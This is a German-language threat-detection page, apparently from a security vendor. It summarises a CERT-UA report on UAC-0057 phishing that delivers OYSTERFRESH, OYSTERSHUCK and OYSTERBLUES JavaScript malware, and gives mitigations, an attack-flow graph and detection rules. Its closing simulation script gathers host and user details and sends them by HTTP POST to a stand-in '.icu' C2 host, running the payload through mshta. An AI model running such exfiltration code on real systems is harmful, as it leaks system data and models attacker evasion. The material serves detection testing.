UAC-0057 aktualisiert sein Toolkit mit OYSTERFRESH, OYSTERSHUCK und OYSTERBLUES
Detection stack
- AIDR
- Alert
- ETL
- Query
Zusammenfassung
CERT-UA hat eine Phishing-Kampagne gegen ukrainische Regierungsorganisationen gemeldet. Die E-Mails enthalten PDF-Anhänge, die Empfänger zu ZIP-Archiven weiterleiten, die bösartige JavaScript-Dateien namens OYSTERFRESH, OYSTERSHUCK und OYSTERBLUES enthalten. Nach der Ausführung sammelt die Malware Systeminformationen und sendet diese über HTTP-POST-Anfragen hinaus mit der Möglichkeit, eine Cobalt Strike-Komponente zu einem späteren Zeitpunkt abzurufen. Die unterstützende Infrastruktur ist hinter Cloudflare verborgen und nutzt ausgiebig .icu Domains.
Untersuchung
Die Analyse von CERT-UA identifizierte die bösartigen JavaScript-Beispiele, die Dekodierungsmethoden, auf die sie sich stützen, einschließlich der Umkehrung von Zeichenfolgen, ROT13 und URL-Dekodierung, sowie die Registry-Änderungen, die zur Aufrechterhaltung der Persistenz verwendet werden. Die Ermittler dokumentierten auch mehrere Datei-Artefakte und Windows-Pfade, die mit der Infektionskette verbunden sind. Die Netzwerk-Analyse verknüpfte die Aktivitäten mit Cloudflare-geschützter .icu Hosting-Infrastruktur. Der Bericht weist außerdem auf die mögliche nachfolgende Lieferung eines Cobalt Strike-Beacon hin.
Abschwächung
Organisationen sollten wscript.exe Ausführung für Standardbenutzer einschränken, sowohl PowerShell- als auch JavaScript-Ausführungen begrenzen und die aufgeführten Registry-Run-Keys auf verdächtige Änderungen überwachen. Webfiltering sollte verwendet werden, um .icu Domains zu blockieren und gegebenenfalls Cloudflare-bezogene IP-Bereiche zu blockieren, die mit der Kampagne verbunden sind. Verteidiger sollten auch minimal-priviligierte Kontrollen anwenden und die automatische Ausführung unbekannter Binärdateien verhindern.
Reaktion
Sicherheitsteams sollten Erkennungen für die identifizierten Dateinamen, Registry-Keys und ausgehenden HTTP-POST-Verkehr zu den bekannten Domains erstellen. Die Jagd sollte auch den möglichen Cobalt Strike-Payload abdecken, einschließlich der CSBEACON DLL, und alle geplanten Aufgaben namens MicrosoftEdgeUpdateTaskMachine. Endpoint-Untersuchungen sollten Prozessbäume sammeln, um die JavaScript-Dekodierungs- und Ausführungskette nachzuverfolgen.
graph TB %% Klassendefinitionen classDef action fill:#99ccff classDef malware fill:#ff9999 classDef tool fill:#cccccc classDef process fill:#ffcc99 %% Knoten action_phishing[„<b>Aktion</b> – <b>T1566.001 Phishing</b><br/>Spearphishing-Anhang: E-Mail mit bösartigem PDF, das einen Link zu ZIP enthält“] class action_phishing action action_user_exec[„<b>Aktion</b> – <b>T1204.002 Benutzerausführung</b><br/>Opfer öffnet PDF/ZIP und führt JavaScript OYSTERFRESH aus“] class action_user_exec action malware_oysterfresh[„<b>Malware</b> – OYSTERFRESH<br/>JavaScript-Datei im ZIP geliefert, Einstiegspunkt des Angriffs“] class malware_oysterfresh malware action_obfuscate[„<b>Aktion</b> – <b>T1027.008 Verschleierung</b><br/>Payload durch String-Reversal, ROT13 und URL-Dekodierung verschleiert“] class action_obfuscate action malware_oysterblues[„<b>Malware</b> – OYSTERBLUES<br/>Schreibt Registry-Einträge und startet Persistenzkomponenten“] class malware_oysterblues malware tool_wscript[„<b>Tool</b> – wscript.exe<br/>Windows Script Host zur Ausführung zusätzlicher JavaScript-Komponenten“] class tool_wscript tool action_proxy_exec[„<b>Aktion</b> – <b>T1127 Proxy-Ausführung</b><br/>Verwendet wscript.exe zur Ausführung von OYSTERSHUCK und OYSTERBLUES“] class action_proxy_exec action action_persistence[„<b>Aktion</b> – <b>T1547.014 Persistenz</b><br/>Erstellt HKCU Run-Keys zum Start von MicrosoftEdgeUpdate.exe und EdgeApp.exe bei Anmeldung“] class action_persistence action action_discovery[„<b>Aktion</b> – <b>T1057 Prozess-Erkennung</b><br/>Sammelt Prozessliste, Rechnername, Benutzer, OS-Version und Boot-Zeit“] class action_discovery action process_c2[„<b>Prozess</b> – HTTP POST an C2-Server<br/>Sendet erkannte Systeminformationen“] class process_c2 process action_embedded_payload[„<b>Aktion</b> – <b>T1027.009 Eingebettete Payload</b><br/>Cobalt Strike Beacon in JavaScript eingebettet und via eval ausgeführt“] class action_embedded_payload action malware_cobalt_strike[„<b>Malware</b> – Cobalt Strike Beacon<br/>Eingebettete schädliche Payload“] class malware_cobalt_strike malware %% Verbindungen action_phishing –>|liefert| action_user_exec action_user_exec –>|löst aus| malware_oysterfresh malware_oysterfresh –>|führt aus| action_obfuscate action_obfuscate –>|erstellt| malware_oysterblues malware_oysterblues –>|nutzt| tool_wscript tool_wscript –>|ermöglicht| action_proxy_exec action_proxy_exec –>|führt aus| malware_oysterblues action_proxy_exec –>|führt aus| malware_oysterfresh action_proxy_exec –>|führt aus| malware_cobalt_strike action_persistence –>|etabliert| process_c2 action_discovery –>|sendet an| process_c2 action_embedded_payload –>|führt aus| malware_cobalt_strike
Angriffsfluss
Erkennungen
Mögliche Persistenzpunkte [ASEPs – Software/NTUSER Hive] (via registry_event)
Ansehen
Verdächtige Dateierweiterungen, die zu Run-Keys hinzugefügt wurden [ASEPs] (via registry_event)
Ansehen
Extraktion von Archiven direkt aus dem E-Mail-Client (via process_creation)
Ansehen
Ausführung aus ZIP-Archiv [7zip] (via process_creation)
Ansehen
Ausführung aus RAR-Archiv [WinRAR] (via process_creation)
Ansehen
LOLBAS WScript/CScript (via process_creation)
Ansehen
LOLBAS RunDLL32 (via cmdline)
Ansehen
Verdächtige extrahierte Dateien aus einem Archiv (via file_event)
Ansehen
Verdächtige geplante Aufgabe (via audit)
Ansehen
Verdächtige Kommando- und Kontrollanfragen durch ungewöhnliche Top-Level-Domain- (TLD) DNS-Anfragen (via dns)
Ansehen
IOCs (SHA256) zur Erkennung: Aktualisiertes Toolkit UAC-0057: OYSTERFRESH, OYSTERSHUCK und OYSTERBLUES Teil 2
Ansehen
IOCs (SHA256) zur Erkennung: Aktualisiertes Toolkit UAC-0057: OYSTERFRESH, OYSTERSHUCK und OYSTERBLUES Teil 1
Ansehen
IOCs (SHA1) zur Erkennung: Aktualisiertes Toolkit UAC-0057: OYSTERFRESH, OYSTERSHUCK und OYSTERBLUES
Ansehen
IOCs (MD5) zur Erkennung: Aktualisiertes Toolkit UAC-0057: OYSTERFRESH, OYSTERSHUCK und OYSTERBLUES Teil 2
Ansehen
IOCs (MD5) zur Erkennung: Aktualisiertes Toolkit UAC-0057: OYSTERFRESH, OYSTERSHUCK und OYSTERBLUES Teil 1
Ansehen
IOCs (SourceIP) zur Erkennung: Aktualisiertes Toolkit UAC-0057: OYSTERFRESH, OYSTERSHUCK und OYSTERBLUES
Ansehen
IOCs (DestinationIP) zur Erkennung: Aktualisiertes Toolkit UAC-0057: OYSTERFRESH, OYSTERSHUCK und OYSTERBLUES
Ansehen
Erkennung der OYSTERBLUES-Exfiltration via HTTP-POST an .icu-Domains [Windows Netzwerkverbindung]
Ansehen
Erkennung der Ausführung bösartiger JavaScripts via wscript.exe [Windows-Prozesserstellung]
Ansehen
Simulation Ausführung
Voraussetzung: Der Telemetrie- & Baseline-Vorab-Check muss bestanden sein.
Begründung: In diesem Abschnitt wird die genaue Ausführung der Technik des Angreifers (TTP) detailliert, die darauf abzielt, die Erkennungsregel auszulösen. Die Befehle und Erzählungen spiegeln unmittelbar die identifizierten TTPs wider und erzeugen die genaue Telemetrie, die von der Erkennungslogik erwartet wird.
-
Angriffserzählung & Befehle:
Der Angreifer nutzt eine signierte Windows-Binärdatei (mshta.exe) um eine kleine JavaScript-Nutzlast auszuführen, die Systeminformationen sammelt und über eine HTTP POST an eine bösartige „*.icu“ Domain überträgt, die vom C2-Server kontrolliert wird. Dieser „living-off-the-land“ Ansatz vermeidet das Auslösen von Virenschutzwarnungen, während das genaue Firewallevent generiert wird, das die Regel überwacht (POST + „.icu“). -
Regressionstest-Skript:
# OYSTERBLUES-Stil-Exfiltrationssimulation # 1. Minimale Systeminformationen in JSON kodieren $info = @{ hostname = $env:COMPUTERNAME user = $env:USERNAME os = (Get-CimInstance -ClassName Win32_OperatingSystem).Caption } | ConvertTo-Json -Compress # 2. Temporäre HTML-Datei schreiben, die einen JS-Fetch-POST ausführt $htmlPath = "$env:TEMPexfil.html" $js = @" var data = '$info'; fetch('http://malicious-c2.abc.icu/collect', { method: 'POST', headers: { 'Content-Type': 'application/json' }, body: data }); "@ Set-Content -Path $htmlPath -Value "<script>$js</script>" -Encoding ASCII # 3. Ausführung via mshta (signierte Binärproxy-Ausführung) Start-Process -FilePath "$env:SystemRootSystem32mshta.exe" -ArgumentList "`"$htmlPath`"" # 4. Geben Sie der Anfrage Zeit zum Abschließen und bereinigen Sie dann Start-Sleep -Seconds 5 Remove-Item -Path $htmlPath -Force -
Cleanup-Befehle:
# Sicherstellen, dass verbleibende mshta-Prozesse beendet werden Get-Process -Name mshta -ErrorAction SilentlyContinue | Stop-Process -Force # Restliche temporäre Dateien löschen (falls vorhanden) $tempFiles = Get-ChildItem -Path $env:TEMP -Filter "exfil.html" foreach ($file in $tempFiles) { Remove-Item $file.FullName -Force }